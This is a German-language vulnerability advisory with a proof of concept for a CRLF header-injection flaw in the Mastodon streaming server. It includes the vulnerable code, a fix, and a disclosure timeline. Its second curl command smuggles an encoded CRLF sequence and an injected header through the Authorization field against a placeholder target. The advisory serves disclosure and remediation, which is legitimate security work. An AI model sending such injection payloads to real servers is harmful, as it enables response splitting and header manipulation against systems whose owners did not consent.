
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| Element | Details |
|---|---|
| CVE-ID | CVE-2026-XXXXX |
| Betroffenes Produkt | Mastodon (Streaming Server) |
| Betroffene Version | <= 4.5.9 |
| Komponente | streaming/index.js, Zeilen 188-206 |
| Schwachstellentyp | HTTP-Response-Header-Injection / CRLF-Injection |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Mittel) |
| Angriffsvektor | Netzwerk |
| Melder | qitian [email protected] |
Wenn eine WebSocket-Upgrade-Anfrage die Authentifizierung nicht besteht, erstellt der Mastodon Streaming Server in streaming/index.js, Zeilen 188-206, eine manuelle HTTP-Antwort und schreibt errorMessage direkt über socket.end() in den X-Error-Message-Antwortheader – OHNE die Zeichen \r oder \n zu bereinigen.
Dadurch kann ein nicht authentifizierter Remote-Angreifer beliebige HTTP-Header injizieren oder HTTP Response Splitting durchführen.
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}\r\n` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('\r\n')}\r\n\r\n`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
Erwartet: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
Bereinigen Sie errorMessage, bevor Sie sie in den Socket-Header schreiben:
const sanitizedMessage = String(errorMessage || '')
.replace(/\r/g, '%0D')
.replace(/\n/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| Datum | Ereignis |
|---|---|
| 2026-04-22 | Schwachstelle entdeckt und PoC erstellt |
| 2026-04-22 | CVE-Bericht an MITRE / VDB eingereicht |
Haftungsausschluss: Dieses PoC dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.